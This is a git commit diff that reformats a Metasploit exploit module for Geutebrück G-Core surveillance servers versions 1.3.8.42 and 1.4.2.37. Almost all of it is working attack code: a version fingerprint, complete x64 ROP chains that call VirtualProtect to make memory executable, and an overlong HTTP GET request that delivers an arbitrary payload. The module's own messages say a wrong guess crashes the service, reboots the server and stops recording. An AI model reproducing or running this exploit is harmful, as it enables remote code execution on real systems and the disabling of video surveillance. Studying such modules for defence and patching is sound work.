codefixing

master
Maurice Popp 2017-10-07 14:06:58 +02:00
parent 7fe750422e
commit 8d50c34e4b
1 changed files with 156 additions and 178 deletions

View File

@ -40,197 +40,205 @@ class MetasploitModule < Msf::Exploit::Remote
'Privileged' => true,
'DisclosureDate' => 'Jan 24 2017',
'DefaultTarget' => 0))
end
def fingerprint
print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
@doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
statistics = @doc.css('modulestate')
statistics.each do |x|
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
mytarget = targets[1]
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
mytarget = targets[2]
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
register_options(
[
Opt::RPORT(13003)
])
end
end
print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
[Exploit::CheckCode::Unknown, nil]
end
def check
fingerprint
end
def fingerprint
print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
@doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
statistics = @doc.css('modulestate')
statistics.each do |x|
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
mytarget = targets[1]
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
mytarget = targets[2]
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
end
end
print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
[Exploit::CheckCode::Unknown, nil]
end
def ropchain(target)
if target.name.include? '1.3.8.42'
print_status('Preparing ROP chain for target 1.3.8.42!')
def check
fingerprint
end
# 0x140cd00a9 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd00a9].pack('Q<')
def ropchain(target)
if target.name.include? '1.3.8.42'
print_status('Preparing ROP chain for target 1.3.8.42!')
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
stack_align = "\x43" * 16
# 0x140cd00a9 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd00a9].pack('Q<')
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
stack_align = "\x43" * 16
# 0x1404e5cbf: mov edx, esp ; ret
stack_align += [0x1404e5cbf].pack('Q<')
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14013db94 pop rax ; ret
stack_align += [0x14013db94].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# 0x1404e5cbf: mov edx, esp ; ret
stack_align += [0x1404e5cbf].pack('Q<')
# Our value is enough.
# 0x1407dc547 | add rax,rdx ; ret
stack_align += [0x1407dc547].pack('Q<')
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14013db94 pop rax ; ret
stack_align += [0x14013db94].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
stack_align += [0x140ce9ac0].pack('Q<')
# Our value is enough.
# 0x1407dc547 | add rax,rdx ; ret
stack_align += [0x1407dc547].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140cc2234].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x1400ae2ae | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x1400ae2ae].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
stack_align += [0x140ce9ac0].pack('Q<')
# 0x14029dc6e: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x14029dc6e].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140cc2234].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x1400ae2ae | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x1400ae2ae].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x1409AE1A8 is the .data section of gcore
rop += [0x1400aa030].pack('Q<')
rop += [0x1409AE1A8].pack('Q<')
# 0x14029dc6e: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x14029dc6e].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# 0x140b5927a: xor rax, rax ; ret
rop += [0x140b5927a].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x1409AE1A8 is the .data section of gcore
rop += [0x1400aa030].pack('Q<')
rop += [0x1409AE1A8].pack('Q<')
# 0x1402ce220 pop rax ; ret
# 0x140d752b8 | VP Stub IAT Entry
rop += [0x1402ce220].pack('Q<')
rop += [0x140d752b8].pack('Q<')
# 0x140b5927a: xor rax, rax ; ret
rop += [0x140b5927a].pack('Q<')
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
rop += [0x1407c6b3b].pack('Q<')
# 0x1402ce220 pop rax ; ret
# 0x140d752b8 | VP Stub IAT Entry
rop += [0x1402ce220].pack('Q<')
rop += [0x140d752b8].pack('Q<')
# 0x140989c41 push rax; ret
rop += [0x140989c41].pack('Q<')
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
rop += [0x1407c6b3b].pack('Q<')
# 0x1406d684d jmp rsp
rop += [0x1406d684d].pack('Q<')
# 0x140989c41 push rax; ret
rop += [0x140989c41].pack('Q<')
[rop, overwrite, stack_align]
# 0x1406d684d jmp rsp
rop += [0x1406d684d].pack('Q<')
elsif target.name.include? '1.4.2.37'
print_status('Preparing ROP chain for target 1.4.2.37!')
[rop, overwrite, stack_align]
# 0x140cd9759 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd9759].pack('Q<')
elsif target.name.include? '1.4.2.37'
print_status('Preparing ROP chain for target 1.4.2.37!')
# These bytes "\x43" are sacrificed ; we align the stack to jump over this.
stack_align = "\x43" * 16
# 0x140cd9759 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd9759].pack('Q<')
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# These bytes "\x43" are sacrificed ; we align the stack to jump over this.
stack_align = "\x43" * 16
# 0x1404f213f: mov edx, esp ; ret
stack_align += [0x1404f213f].pack('Q<')
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14000efa8 pop rax ; ret
stack_align += [0x14000efa8].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# 0x1404f213f: mov edx, esp ; ret
stack_align += [0x1404f213f].pack('Q<')
# Our value is enough.
# 0x140cdfe65 | add rax,rdx ; ret
stack_align += [0x140cdfe65].pack('Q<')
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14000efa8 pop rax ; ret
stack_align += [0x14000efa8].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
stack_align += [0x140cf3110].pack('Q<')
# Our value is enough.
# 0x140cdfe65 | add rax,rdx ; ret
stack_align += [0x140cdfe65].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140ccb984].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x14008f7ec | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x14008f7ec].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
stack_align += [0x140cf3110].pack('Q<')
# 0x140a88f81: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x140a88f81].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140ccb984].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x14008f7ec | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x14008f7ec].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x... | Value for VP "Writeable location". Not sure if needed?
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
rop += [0x1400aa030].pack('Q<')
rop += [0x140FB5000].pack('Q<')
# 0x140a88f81: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x140a88f81].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# 0x140ccea2f: xor rax, rax ; et
rop += [0x140ccea2f].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x... | Value for VP "Writeable location". Not sure if needed?
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
rop += [0x1400aa030].pack('Q<')
rop += [0x140FB5000].pack('Q<')
# 0x14000efa8 pop rax ; ret
# 0x140d83268 | VP Stub IAT Entry
rop += [0x14000efa8].pack('Q<')
rop += [0x140d83268].pack('Q<')
# 0x140ccea2f: xor rax, rax ; et
rop += [0x140ccea2f].pack('Q<')
# 0x14095b254 mov rax, qword [rax] ; ret ;
rop += [0x14095b254].pack('Q<')
# 0x14000efa8 pop rax ; ret
# 0x140d83268 | VP Stub IAT Entry
rop += [0x14000efa8].pack('Q<')
rop += [0x140d83268].pack('Q<')
# 0x140166c46 push rax; ret
rop += [0x140166c46].pack('Q<')
# 0x14095b254 mov rax, qword [rax] ; ret ;
rop += [0x14095b254].pack('Q<')
# 0x140cfb98d jmp rsp
rop += [0x140cfb98d].pack('Q<')
# 0x140166c46 push rax; ret
rop += [0x140166c46].pack('Q<')
[rop, overwrite, stack_align]
# 0x140cfb98d jmp rsp
rop += [0x140cfb98d].pack('Q<')
else
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
[rop, overwrite, stack_align]
end
end
else
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
end
end
def exploit
if target['auto']
checkcode, self.target = fingerprint
fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
target_rop, target_overwrite, target_stack_align = ropchain(target)
else
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
print_status("Selected version: #{self.target.name}")
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
end
def exploit
if target['auto']
checkcode, target = fingerprint
if checkcode.to_s.include? 'unknown'
print_status('No vulnerable Version detected - exploit aborted.')
else
target_rop, target_overwrite, target_stack_align = ropchain(target)
begin
connect
print_status('Crafting Exploit...')
http_req = 'GET /'
buffer_200 = "\x41" * 200
rop = target_rop
@ -251,35 +259,5 @@ class MetasploitModule < Msf::Exploit::Remote
disconnect
end
end
else
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
print_status("Selected version: #{self.target.name}")
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
begin
connect
print_status('Crafting Exploit...')
http_req = 'GET /'
buffer_200 = "\x41" * 200
rop = target_rop
payload.encoded
buffer_1823 = "\x41" * 1823
overwrite = target_overwrite
stack_align = target_stack_align
exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
print_status('Exploit ready for sending...')
sock.put(exploit, 'Timeout' => 20)
print_status('Exploit sent!')
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
print_status('Closing socket.')
disconnect
end
end
end
end